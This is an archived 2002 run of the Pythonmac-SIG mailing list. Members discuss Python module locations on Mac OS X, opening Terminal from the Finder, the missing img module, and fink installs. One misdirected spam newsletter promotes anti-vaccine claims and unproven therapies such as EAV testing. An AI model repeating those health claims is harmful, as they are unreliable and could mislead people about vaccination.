all-gui mac-like stuff, you can do that, but never the twain shall meet:
it is very awkward to switch between the two.

I have set up the finder to show me everything, which is an improvement.
Does anyone know how I could put a button on the finder that would open
a terminal, with the working directory set to the current finder
selected folder? I use this feature all the time in KDE on Linux, it is
very useful.

-Chris



-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov

_______________________________________________
Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
http://mail.python.org/mailman/listinfo/pythonmac-sig


From kevino@tulane.edu  Tue Oct 22 19:24:22 2002
From: kevino@tulane.edu (Kevin Ollivier)
Date: Tue, 22 Oct 2002 14:24:22 -0400
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <3DB5741D.F48C84C5@noaa.gov>
Message-ID: <7CEA241E-E5EB-11D6-97E8-003065F40094@tulane.edu>

Maybe then what is needed is to have a Applications/Python folder, and 
have an "Extensions" folder inside that (or Lib/site-packages, etc.) 
that people can drop modules into. That way, Mac users can add/install 
modules without having to interact with the Terminal or Unix filesystem. 
I think that applets also should be able to have any necessary modules 
above and beyond what Jaguar Python provides inside the app bundle so 
that they can run on machines without MacPython installed, though. (Or 
maybe BuildApplication could provide this functionality?)

Kevin

On Tuesday, October 22, 2002, at 11:51  AM, Chris Barker wrote:

> Jack Jansen wrote:
>> On Tuesday, October 22, 2002, at 06:00 , Tony Lownds wrote:
>>> I'd be extremely happy if users could find the "right place" to put
>>> extensions through the finder. Neither current
>>> Python in CVS nor the plans for "doing it completely differently" have
>>> this property.
>>
>> Could you elaborate, please? I'm not sure I understand exactly what you
>> mean...
>
> My interpretation of that comment is that the Finder, by default, does
> not show the "unixy" parts of the file system (/usr etc.) This makes it
> impossible for users to view/manipulate any of those parts of the file
> system with the finder. If that is where the Python stuff is, it's
> tricky for a user to find whether a given package is installed, for
> instance.
>
> Frankly, this is my number one annoyance with OS-X: if you want to do
> old time command line unix stuff, you can do that, and if you want to do
> all-gui mac-like stuff, you can do that, but never the twain shall meet:
> it is very awkward to switch between the two.
>
> I have set up the finder to show me everything, which is an improvement.
> Does anyone know how I could put a button on the finder that would open
> a terminal, with the working directory set to the current finder
> selected folder? I use this feature all the time in KDE on Linux, it is
> very useful.
>
> -Chris
>
>
>
> --
> Christopher Barker, Ph.D.
> Oceanographer
>                                     		
> NOAA/OR&R/HAZMAT         (206) 526-6959   voice
> 7600 Sand Point Way NE   (206) 526-6329   fax
> Seattle, WA  98115       (206) 526-6317   main reception
>
> Chris.Barker@noaa.gov
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>



From Jack.Jansen@oratrix.com  Tue Oct 22 20:41:00 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 22 Oct 2002 21:41:00 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <3DB5741D.F48C84C5@noaa.gov>
Message-ID: <3116765C-E5F6-11D6-802C-003065517236@oratrix.com>

On dinsdag, oktober 22, 2002, at 05:51 , Chris Barker wrote:

> My interpretation of that comment is that the Finder, by default, does
> not show the "unixy" parts of the file system (/usr etc.) This makes it
> impossible for users to view/manipulate any of those parts of the file
> system with the finder. If that is where the Python stuff is, it's
> tricky for a user to find whether a given package is installed, for
> instance.

Ah, I see what you mean. That's useful, indeed. I think if the 
python preferences window has a button "Open extension folder" 
that would open Lib/site-packages in the finder.

Could you remind me if I forget this, please? :-)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Chris.Barker@noaa.gov  Tue Oct 22 21:38:53 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Tue, 22 Oct 2002 13:38:53 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <AF020C5FC551DD43A4958A679EA16A15017B43B6@mailcluster.lith.com>
Message-ID: <4766E6AE-E5FE-11D6-886B-000393A96660@noaa.gov>

On Tuesday, October 22, 2002, at 10:56 AM, Israel Evans wrote:
> I found something awhile ago called "Open Terminal Here" which does 
> exactly
> what you asked: Opens up a terminal from a finder folder with that 
> folder as
> the current directory.
>
> try:  www.entropy.ch/software/applescript/welcome.html . THis should 
> take
> you to the correct page.

Thanks to everyone who made this or similar suggestions. "Open terminal 
Here" is, indeed, just what I've been wanting.

-Chris

Christopher Barker, Ph.D.
Oceanographer
                                     		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov



From mike@nthwave.net  Tue Oct 22 21:52:07 2002
From: mike@nthwave.net (Michael Mell)
Date: Tue, 22 Oct 2002 13:52:07 -0700
Subject: [Pythonmac-SIG] import img
In-Reply-To: <E2C009E9-E314-11D6-A953-0050E430B472@nthwave.net>
Message-ID: <20BBC0E6-E600-11D6-82B1-0050E430B472@nthwave.net>

On Friday, October 18, 2002, at 08:43  PM, Michael Mell wrote:
> I've just upgraded from OS9.2 to 10.2.
> Many of my Python tools have "import img" as a key piece of 
> functionality.
> Now that I'm on 10.2, this causes an Error:
> 	ImportError: No module named img
>
> I can't even find the img module in the documentation for old 
> versions. It doesn't seem to be part of PIL.
>
> What gives? How was I able to run code in OS9 that won't work in X?

To answer my own query:
the img module is written and maintained by Jack Jansen. He is also the 
maintainer of the "Download Python for Mac" page. Since us poor Mac 
people mostly didn't have compilers back in the pre-OSX days, he 
bundled the img module with the Mac distribution.

So img is part of the standard distribution for Mac <OS9.2.
It is not part of the distribution for OSX.
Getting the img library for OSX seems to be problematic.
I'm not enough of a Python pro to suggest a solution, but I hope one 
appears.

Hearty and heartfelt thanks to Jack!

mike



From niel_mayhew@mac.com  Tue Oct 22 21:57:14 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Tue, 22 Oct 2002 14:57:14 -0600
Subject: [Pythonmac-SIG] Open Terminal Here
In-Reply-To: <4766E6AE-E5FE-11D6-886B-000393A96660@noaa.gov>
Message-ID: <B9DB17CA.6EB0%niel_mayhew@mac.com>

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3118143434_506724
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Chris,

You can also drag icons from the Finder into Terminal windows and they will
be pasted as pathnames. IOW, in an open Terminal window, type 'cd ' and drag
the folder icon to complete the command line. Or, drag the folder and then
insert 'cd ' at the start of the line before pressing return.

There is also a converse: the 'open' command opens a pathname as if it had
been double-clicked in the Finder. This applies to documents, applications
and folders. I often type 'open .' when I am working in Terminal and want to
get a Finder view of the current directory.

This can also be used to open up 'hidden' directories in the Finder, eg
'open /usr' or open '/etc'. Once you have the top-level directory open, you
can easily drill down to others if needed.

I find this integration between Terminal and Finder very useful. I have
Terminal set to auto-open, hidden, on login, so that I always have a window
available when I need it.

--Neil

--
Neil Mayhew
Calgary, Alberta, Canada
niel_mayhew@mac.com

(Email address deliberately misspelled to foil spammers)


--B_3118143434_506724
Content-type: text/html; charset="US-ASCII"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Re: [Pythonmac-SIG] Open Terminal Here</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Arial">Chris,<BR>
<BR>
You can also drag icons from the Finder into Terminal windows and they will=
 be pasted as pathnames. IOW, in an open Terminal window, type 'cd ' and dra=
g the folder icon to complete the command line. Or, drag the folder and then=
 insert 'cd ' at the start of the line before pressing return.<BR>
<BR>
There is also a converse: the 'open' command opens a pathname as if it had =
been double-clicked in the Finder. This applies to documents, applications a=
nd folders. I often type 'open .' when I am working in Terminal and want to =
get a Finder view of the current directory.<BR>
<BR>
This can also be used to open up 'hidden' directories in the Finder, eg 'op=
en /usr' or open '/etc'. Once you have the top-level directory open, you can=
 easily drill down to others if needed.<BR>
<BR>
I find this integration between Terminal and Finder very useful. I have Ter=
minal set to auto-open, hidden, on login, so that I always have a window ava=
ilable when I need it.<BR>
<BR>
--Neil<BR>
<BR>
--<BR>
Neil Mayhew<BR>
Calgary, Alberta, Canada<BR>
niel_mayhew@mac.com<BR>
<BR>
(Email address deliberately misspelled to foil spammers)<BR>
</FONT>
</BODY>
</HTML>


--B_3118143434_506724--



From jm@lists.mercola.com  Wed Oct 23 09:25:19 2002
From: jm@lists.mercola.com (jm@lists.mercola.com)
Date: Wed, 23 Oct 2002 03:25:19 -0500 (CDT)
Subject: [Pythonmac-SIG] eHealthy News You Can Use October 23, 2002 - Issue 370
Message-ID: <20021023082519.BE4BB33C13@mercola.com>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2719.2200" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><A href="http://mercola.com/2002/oct/23/overweight.htm"><FONT face=Verdana 
size=2>America’s Belt-Buckle Expands Another Notch</FONT></A><FONT face=Verdana 
size=2> - The results are in: U.S. obesity and overweight rates continue to 
increase.</FONT><A 
href="http://www.mercola.com/2002/oct/23/health_fallout.htm"></A>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=5><FONT size=2><A 
href="http://www.mercola.com/2002/oct/23/testosterone_magazine.htm">An 
Introduction to Dr. Mercola's Healthcare Approach and Vision</A> - This 
interview, conducted by a popular bodybuilding magazine in October 2002, 
provides an excellent overview of my vision and approach to healthcare, 
including my eating plan and focus on emotional health, and my response to 
certain critics</FONT></FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/23/web_education.htm">MIT Tries Free Web 
Education</A> - The Massachusetts Institute of Technology has decided to publish 
online all its course materials -- a $107,840 value. </FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2></FONT></P>
<P><FONT face=Verdana size=2></P>
<P>
<TABLE cellSpacing=0 cellPadding=0 width=250 align=right border=0>
  <TBODY>
  <TR>
    <TD vAlign=center align=middle>
      <FORM 
      action=http://www.mercola.com/cgi-bin/WebObjects/Subscription.woa/wa/subscribe 
      method=get>
      <P><INPUT size=16 name=email><FONT face=Verdana size=2> &nbsp; </FONT><INPUT type=submit value=Subscribe><FONT face=Verdana size=2> 
      </FONT></P></FORM></TD></TR></TBODY></TABLE></P>
<P><FONT size=2><FONT face=Verdana><B><FONT color=#ff0000>Not Subscribed to the 
Newsletter Yet?</FONT></B> You can subscribe by filling in your email address in 
the box to the right, and clicking Subscribe.</FONT></FONT></P></FONT><FONT 
face="Verdana, Arial, Helvetica, sans-serif" size=2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/article/eft_videos.htm">Psychological Acupressure 
Will Help Eliminate Your Emotional Barriers</A> - Instill positive emotions, 
ease pain and suffering, and eliminate unhealthy cravings with EFT. Learn how to 
put this safe, simple and most powerful form of psychological acupressure to 
work for you.</FONT></P>
<P><A href="http://mercola.com/2002/oct/23/dr_crook.htm">Dr. William Crook, 
Author of "The Yeast Connection" Series, Passes Away</A> - William Crook, M.D., 
a leading physician, tireless crusader for the importance of diet in health, and 
my first mentor, passed away on Sunday, Oct. 20.</P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/23/plants_vaccines.htm">Manipulating 
Plants to Make Vaccines</A> - This technology is getting closer and closer to 
reality, although it's safety has yet to be proven.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/23/vaccine_fund.htm">Few Getting Help From 
Vaccine Fund</A> - Over 99% of children injured by vaccines are not eligible for 
Vaccine Fund Compensation due to the inevitable delay in diagnosing most of 
these children and the time based restrictions of the fund.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/23/abortion_rates.htm">Abortion Rate 
Decreased for Teens, Increased for Poor</A> - New survey finds that abortion 
occurs among broad cross-section of American women, but is increasingly 
concentrated among women with low incomes.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/forms/vaccine_teleconference.htm">The Danger of 
Vaccines, and How You Can Legally Avoid Them Audio Tape</A> - In August 2002, I 
hosted a timely and important teleconference featuring nationally renowned 
vaccine expert, Dr. Sherri Tenpenny, to discuss the real dangers of vaccines and 
how you can legally avoid them. This professionally recorded 90-minute audio 
tape presents that full conference for you.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/23/period.htm">Age at First Period Keeps 
Decreasing</A> - A trend in the onset of menstruation - appearing 9 months 
earlier than 20 years ago -- may mean many things. Researchers are at a loss to 
explain.</FONT></P>
<P></FONT><FONT face="Verdana, Arial, Helvetica, sans-serif"><FONT 
face=Arial><FONT size=2><FONT face=Verdana><STRONG><FONT color=#ff0000>Do you 
have a specific health question?</FONT></STRONG> Try typing it in our search 
engine and you will see if any of the 15,000 pages I have compiled will answer 
it for you.</FONT></FONT></P>
<DIV>
<DIV align=left>
<FORM action=http://www.google.com/custom>
<DIV align=center><INPUT type=hidden value=AH:center;AWFID:5cdb2968a482194d; 
name=cof><FONT face=Verdana size=2> </FONT><INPUT type=hidden 
value=www.mercola.com name=domains><FONT face=Verdana size=2> </FONT><INPUT 
type=hidden value=www.mercola.com name=sitesearch><FONT face=Verdana size=2> 
</FONT><INPUT size=31 name=q><FONT face=Verdana size=2> &nbsp; </FONT><INPUT type=submit value="Search Mercola.com" name=sa2><FONT face=Verdana 
size=2> </FONT></FONT></FONT></DIV></FORM></DIV></DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
  <TBODY>
  <TR>
    <TD align=middle>
      <TABLE cellSpacing=3 cellPadding=6 border=0>
        <TBODY>
        <TR>
          <TD align=middle width=82><IMG alt="" hspace=0 
            src="http://www.mercola.com/images/shopper_and_cart370.jpg" 
            border=0><A href="http://www.mercola.com/store.htm"></A></TD>
          <TD>
            <P><FONT face="Arial, Helvetica, sans-serif"><B><A 
            href="http://www.mercola.com/store.htm">Tools to Help You Recover 
            Your Health</A></B></FONT><FONT 
            face="Arial, Helvetica, sans-serif"><B> </B></FONT></P>
            <P><FONT face=Arial>Use these hard-to-find resources to take your 
            health to the next 
  level.</FONT></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<HR>
</DIV>
<H2 align=center><FONT face=Verdana color=#000000><B>Upcoming Course/Seminar 
Information</B></FONT></H2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/nst/nst.htm">New Technique From Australia Gives 
Almost Complete Relief From Arthritis Pain</A> - Now health care practitioners 
can learn this innovative technique from Australia that can radically improve 
your ability to provide rapid relief to your clients/patients. All four 
therapists and myself use this technique nearly every day in our center. New 
Basic and Advanced Seminars have now been scheduled for 2003.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/aug/7/skasys.htm">SkaSys: Superior to Any 
Existing EAV System</A> - An incredible technology, SkaSys, enables far more 
efficient and precise bioenergetic, kinesiological, and autonomic reflex testing 
than any EAV system. Get in-depth information on the application and methods of 
SkaSys, including testing for heavy metal loads and individual detox protocols, 
in this seminar hosted by its developer, Dr. Hans Lechner.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/5/apn_conference.htm">The 2nd Annual 
Conference on Applied Neurobiology</A> - The principles of ART and ARN will be 
the focus in this conference centered on Lyme Disease and Co-Infections. I will 
speak in this think-tank style discussion along with some of the world's leading 
medical practitioners.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/sep/18/nvic.htm">Vaccines: A Major Conference 
Separating Fact from Fiction</A> - Over twenty-seven of the world's leading 
medical, psychological and legal experts will expose the truth behind vaccines 
in this national event that promises to influence the course of U.S. vaccine 
practice and policy. Medical practitioners and the general public are encouraged 
to attend this conference on November 7-9 in Arlington, Virginia.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/nst/nst.htm"></A></FONT><FONT face=Verdana 
size=2><A href="http://www.mercola.com/2001/jul/18/vaccine_seminars.htm">More 
Vaccine Seminars</A> - Opportunities to attend live lectures around the country 
on this vitally important issue of our times. Have your specific questions 
personally answered with practical alternatives.</FONT></P>
<P>
<P><!-- #BeginLibraryItem "/Library/index.bottom.lbi" -->
<HR>

<P><FONT face=Verdana size=2><STRONG><FONT color=#ff0000>Having Trouble With the 
Newsletter?</FONT></STRONG><FONT face=Verdana size=2><STRONG> </STRONG>We are in 
the process of upgrading to a new e-mail server, but in the meantime you can go 
to </FONT><A href="http://www.mercola.com/"><FONT face=Verdana 
size=2>www.mercola.com</FONT></A><FONT face=Verdana size=2> and click on 
</FONT><FONT face=Verdana color=#0000ff size=2>"Current Issue"</FONT><FONT 
face=Verdana size=2> to obtain the Web version of this email.</FONT></FONT></P>
<DIV>
<P><FONT face=Verdana size=2><FONT face=Verdana size=2><STRONG>Records of all of 
the back issues of the Newsletters can be viewed by clicking </STRONG></FONT><A 
href="http://www.mercola.com/index.html"><FONT face=Verdana size=2><A 
href="http://www.mercola.com/index.html">http://www.mercola.com/index.html</A></FONT></A></FONT></P><FONT 
face=Verdana size=2>
<P><FONT face=Verdana size=2><STRONG>Are you tired of clicking on all the links 
to the articles?</STRONG> To sign up for the FULL TEXT version of this 
newsletter you can send a blank e-mail to: <A 
href="mailto:healthnews-subscribe@topica.com">Healthnews-subscribe@topica.com</A> 
The full newsletter is 20-40 pages long and can be up to 250KB, so if you have a 
slow Internet connection it will take several minutes to download the e-mail. 
WARNING: This subscription does not work if you use AOL for your 
e-mail.</FONT></FONT></P></DIV>
<P>
<HR>

<P></P>
<DIV align=left>
<P><FONT face=Verdana size=2><B><FONT color=#ff0000>©Copyright Dr. Joseph 
Mercola, 2002. </FONT></B>All Rights Reserved. This content may be copied in 
full, as long as copyright, contact, and creation information is given, only if 
used only in a not-for-profit format. If possible, I would also appreciate an 
endorsement and encouragement to subscribe to the newsletter. If any other use 
is desired, written permission is required.</FONT></P>
<P><FONT face=Arial size=2>You are currently subscribed as pythonmac-sig@python.org, to 
unsubscribe please send a blank email to </FONT><FONT face=Arial 
size=2>ted+unsubscribe@lists.mercola.com</FONT><FONT face=Arial 
size=2>.</FONT></P></DIV></DIV></BODY></HTML>



From kp87@lycos.com  Wed Oct 23 12:41:01 2002
From: kp87@lycos.com (kevin parks)
Date: Wed, 23 Oct 2002 07:41:01 -0400
Subject: [Pythonmac-SIG] Re: lets do it really different | let's not and say we did.
Message-ID: <EMEHPJBEEDANCBAA@mailcity.com>


1. UNIX and the terminal are not some kind of diseased thing to be avoided at all costs.Python has a long unixy hertitage that is nothing to be ashamed of, just see how proud linux users are despite it's rough edges. It's powerful, like OS X is. OS X is not OS 9 and is never going to be (if we are lucky).

2. Anyone savvy enough to be writing python scripts is smart enough to open the terminal and type % cd /usr/local/bin ; ls

I think that we are bending over backwards to do something really unimportant here.

repeat after me: Unix good, csh powerful, OS 9 goodbye
Unix good, csh powerful, OS 9 goodbye

Unix good, csh powerful, OS 9 goodbye
 ....






____________________________________________________________
Get 250 full-color business cards FREE right now!
http://businesscards.lycos.com 


From Benjamin.Schollnick@usa.xerox.com  Wed Oct 23 13:21:44 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Wed, 23 Oct 2002 08:21:44 -0400
Subject: [Pythonmac-SIG] Let's do it completely different!
Message-ID: <51B62EFFBC83D6118ADA00096BB030A11B3463@USAMCMS7>

> I have set up the finder to show me everything, which is an improvement.
> Does anyone know how I could put a button on the finder that would open
> a terminal, with the working directory set to the current finder
> selected folder? I use this feature all the time in KDE on Linux, it is
> very useful.

>From version tracker....  (OpenTerminal is freeware)

OpenTerminal  -  1.3.1 
Opens a terminal with the current Finder window's path  
  
 Download Now  (File Size: 33k) 

  What's new in this version: 

now a preferences dialog. 
You can set the default to "always open new terminal". 
You can drag folders to the OpenTerminal icon. 
You can tell OpenTerminal to use the current selection in the Finder instead
of the current window. 
The title bar settings of the "Terminal" application are now respected.
1.3.1: A minor bug introduced in 1.3 was fixed.
 
Product Description: 

When you are working in the Finder and you discover that you need a terminal
window you have to open "Terminal" and "cd" to the folder you were working
on. With OpenTerminal you just click its icon and a terminal with the
correct path shows up. 
The advantage of OpenTerminal over other available tools is that it always
runs in the background (without using processor time) and reacts instantly
because it doesn't have to start up first. 

The sourcecode is also available.
 
 
 


From Benjamin.Schollnick@usa.xerox.com  Wed Oct 23 13:27:50 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Wed, 23 Oct 2002 08:27:50 -0400
Subject: [Pythonmac-SIG] Re: lets do it really different | let's not a	nd
 say we did.
Message-ID: <51B62EFFBC83D6118ADA00096BB030A11B3464@USAMCMS7>

> 1. UNIX and the terminal are not some kind of diseased thing to be avoided
at all 
> costs.Python has a long unixy hertitage that is nothing to be ashamed of,
just see how 
> proud linux users are despite it's rough edges. It's powerful, like OS X
is. OS X is not 
> OS 9 and is never going to be (if we are lucky).

I agree....  OS X is much better in many, many ways....  But it still needs
finishing work, and for Apple to finish optimizing it....  (i.e.  Finder
window, sorted by Kind, with 2-3K worth of files... It resorts after almost
any updates)

> 2. Anyone savvy enough to be writing python scripts is smart enough to
open the terminal 
> and type % cd /usr/local/bin ; ls

Yes, but will they realize it is there?

True story....  I have been dealing on and off again with MPGTX, a mpeg
splitter app.  I did not realize that the \usr tree existed until after I
was forced to unTAR/GZIP the application manually.  (I was testing a patch)

I had assumed it was being installed to \library or as a bundle with the GUI
front end...

Until then I had assumed that \usr == \Users .....

I use the terminal alot, but never noticed that \usr wasn't showing up in
the finder, let alone realizing that it even existed...  (I usually am
poking around \volumes\* doing file manipulation via the terminal)

			- Benjamin


From francois.granger@free.fr  Wed Oct 23 15:05:45 2002
From: francois.granger@free.fr (Fran=?ISO-8859-1?B?5w==?=ois Granger)
Date: Wed, 23 Oct 2002 16:05:45 +0200
Subject: [Pythonmac-SIG] Re: lets do it really different | let's not
 and say we did.
In-Reply-To: <EMEHPJBEEDANCBAA@mailcity.com>
Message-ID: <B9DC7959.5A7C2%francois.granger@free.fr>

on 23/10/02 13:41, kevin parks at kp87@lycos.com wrote:

> 1. UNIX and the terminal are not some kind of diseased thing to be avoided at
> all costs.

For a Mac _user_, they are.

> 2. Anyone savvy enough to be writing python scripts is smart enough to open
> the terminal and type % cd /usr/local/bin ; ls
> 
> I think that we are bending over backwards to do something really unimportant
> here.
> 
> repeat after me: Unix good, csh powerful, OS 9 goodbye
> Unix good, csh powerful, OS 9 goodbye
> 
> Unix good, csh powerful, OS 9 goodbye

Sorry to disturb. 90% of OSX users are OS9 users forced to switch.

When one have been using Python on OS9 (Thanks to Jack fot this) one does
not felt the unixish part of Python.
And there are a lot of casual developers on Mac because of the easiness of
most tools (HyperCard, AppleScript, FileMaker 4th Dimension ....)

-- 
Le courrier est un moyen de communication. Les gens devraient
se poser des questions sur les implications politiques des choix (ou non
choix) de leurs outils et technologies. Pour des courriers propres :
<http://marc.herbert.free.fr/mail/> -- <http://minilien.com/?IXZneLoID0>



From bobsavage@mac.com  Wed Oct 23 15:16:31 2002
From: bobsavage@mac.com (Bob Savage)
Date: Wed, 23 Oct 2002 09:16:31 -0500
Subject: [Pythonmac-SIG] eHealthy News You Can Use October 23, 2002 - Issue 370
In-Reply-To: <20021023082519.BE4BB33C13@mercola.com>
Message-ID: <0707E3A8-E692-11D6-82DA-00306547CFF0@mac.com>

--Apple-Mail-2--906667310
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

Is there a reason the Pythonmac mailing list wants to be subscribed to 
this list?

On Wednesday, October 23, 2002, at 03:25 AM, mercola.com wrote:

> You are currently subscribed as pythonmac-sig@python.org, to 
> unsubscribe please send a blank email to 
> ted+unsubscribe@lists.mercola.com.

--Apple-Mail-2--906667310
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=US-ASCII

Is there a reason the Pythonmac mailing list wants to be subscribed to
this list?


On Wednesday, October 23, 2002, at 03:25 AM, mercola.com wrote:


<excerpt><fontfamily><param>Arial</param><smaller>You are currently
subscribed as pythonmac-sig@python.org, to unsubscribe please send a
blank email to ted+unsubscribe@lists.mercola.com.</smaller>

</fontfamily></excerpt>
--Apple-Mail-2--906667310--



From bbum@codefab.com  Wed Oct 23 14:19:10 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Wed, 23 Oct 2002 09:19:10 -0400
Subject: [Pythonmac-SIG] Re: Novice Just Starting
In-Reply-To: <20021023084401.19996.23576.Mailman@mail.python.org>
Message-ID: <04736210-E68A-11D6-9DF7-000393877AE4@codefab.com>

There is a third flavor of python for OS X;   the fink build of python. 
   It includes Tk support (among other things).

See fink.sourceforge.net for more information -- there is 10.2 specific 
installation instructions (and Fink works very well under 10.2).

To install X:

     fink install xfree86-rootless-threaded

Then, choose your favorite desktop environment or window manager.  Both 
KDE and Gnome are available.  Personally, I chose blackbox-rootless...

     fink install blackbox-rootless

... because it is simple and works well in rootless mode (i.e. when X 
does not take over the entire screen).

To install python + Tk:

     fink install python

The end result does require that you have X11 running prior to starting 
up a Python+Tk script.  This isn't a big deal as the Fink build of X 
includes XDarwin.app in /Applications/.

Fink also includes postgres (with python bindings)...

     fink install postgresql-ssl-python

... will take care of installing postgres, all necessary ssl related 
components, python and its dependencies, and the postgres<->python 
bindings (oh, cool, with PyObjC, I can easily build database driven 
apps using postgres and the python bindings to that database!).

b.bum

On Wednesday, October 23, 2002, at 04:44 AM, 
pythonmac-sig-request@python.org wrote:
> - MacPython (which you installed), which has a nice installer, a nice
> integrated development environment (IDE), etc. However, under MacOS X
> it does NOT work with Tkinter, the most common GUI environments for
> python. It does have its own Mac-specific GUI environment, but I
> don't know much about it (I don't even know if it's currently
> maintained or deprecated).
> - unix python (sometimes referred to as macho-python). A version of
> this comes already installed on MacOS X; if you run the Terminal
> application and type
>   python
> you'll be running this version of python. The version, as installed,
> does not include support for any GUI environment, but you can add
> this.



From bbum@codefab.com  Wed Oct 23 14:28:03 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Wed, 23 Oct 2002 09:28:03 -0400
Subject: [Pythonmac-SIG] The unixy stuff in Mac OS X
In-Reply-To: <20021023084401.19996.23576.Mailman@mail.python.org>
Message-ID: <41C8C632-E68B-11D6-9DF7-000393877AE4@codefab.com>

On Wednesday, October 23, 2002, at 04:44 AM, Chris Barker wrote:
> My interpretation of that comment is that the Finder, by default, does
> not show the "unixy" parts of the file system (/usr etc.) This makes it
> impossible for users to view/manipulate any of those parts of the file
> system with the finder. If that is where the Python stuff is, it's
> tricky for a user to find whether a given package is installed, for
> instance.
>
> Frankly, this is my number one annoyance with OS-X: if you want to do
> old time command line unix stuff, you can do that, and if you want to 
> do
> all-gui mac-like stuff, you can do that, but never the twain shall 
> meet:
> it is very awkward to switch between the two.

I can understand your annoyance, but I think you'll find that-- in the 
long run-- this approach is generally a feature.

First, you can "go to" any directory on the system from the finder.   
Use the "Go to Folder" menu item in the Finder and type the path.  It 
even has auto-completion as you type (but tends to gravitate to things 
you "can see").   This is useful for browsing header files or the 
python library in the GUI.

Alternatively, from any terminal session you can simply type 'open .' 
and the open command will cause the Finder to open a new window against 
whatever directory you happen to be in.

In general, manipulating the Unix-y stuff from the Finder isn't a good 
idea -- most of the Unix-y stuff is where it is  and is named what it 
is for a reason.  Moving it around or renaming it will very quickly 
lead to unusable components within the system.   Furthermore, most 
Unix-y tools -- including python modules -- have installers that take 
care of putting all the right bits in all the right places.   For 
installation purposes, you pretty much always want to use an installer 
of sometime-- Fink is a great example of a really complex and awesomely 
powerful installer in that it can manage literally hundreds of 
thousands of files through the use of a few simple commands.

b.bum



From bbum@codefab.com  Wed Oct 23 15:26:34 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Wed, 23 Oct 2002 10:26:34 -0400
Subject: [Pythonmac-SIG] Doing it differently:  Module management / installation
In-Reply-To: <20021023084401.19996.23576.Mailman@mail.python.org>
Message-ID: <6EDAD3ED-E693-11D6-9DF7-000393877AE4@codefab.com>

(I have been following the 'Let's do it completely different!' thread 
with quite a bit of interest -- this is a direction that I have long 
felt that Python on OS X should take.   I'll comment more on that 
later.)

On Wednesday, October 23, 2002, at 04:44 AM, 
pythonmac-sig-request@python.org wrote:
> Maybe then what is needed is to have a Applications/Python folder, and
> have an "Extensions" folder inside that (or Lib/site-packages, etc.)
> that people can drop modules into. That way, Mac users can add/install
> modules without having to interact with the Terminal or Unix 
> filesystem.

In general, there should be no requirement that anything be installed 
in /Applications.   /Applications is Apple's domain and third parties 
shouldn't touch it (I can't begin to tell you how much it offends my 
security minded and multi-user aware self when a third party insists on 
scribbling in /Applications/... many many reasons why that is just 
stupid).   Furthermore, requiring anything to be dropped in 
/Applications prevents any user who does not have admin rights from 
installing the software-- basically, it eliminates the installation of 
the software by any student using a lab computer unless the network 
admins sanction it.

In talking extensions -- things that are not standalone applications -- 
it should be modeled after the "standards" set forth by Apple.   That 
is, there should be a set of search paths that are added to sys.path.  
Most likely:

~/Library/Python/Extensions
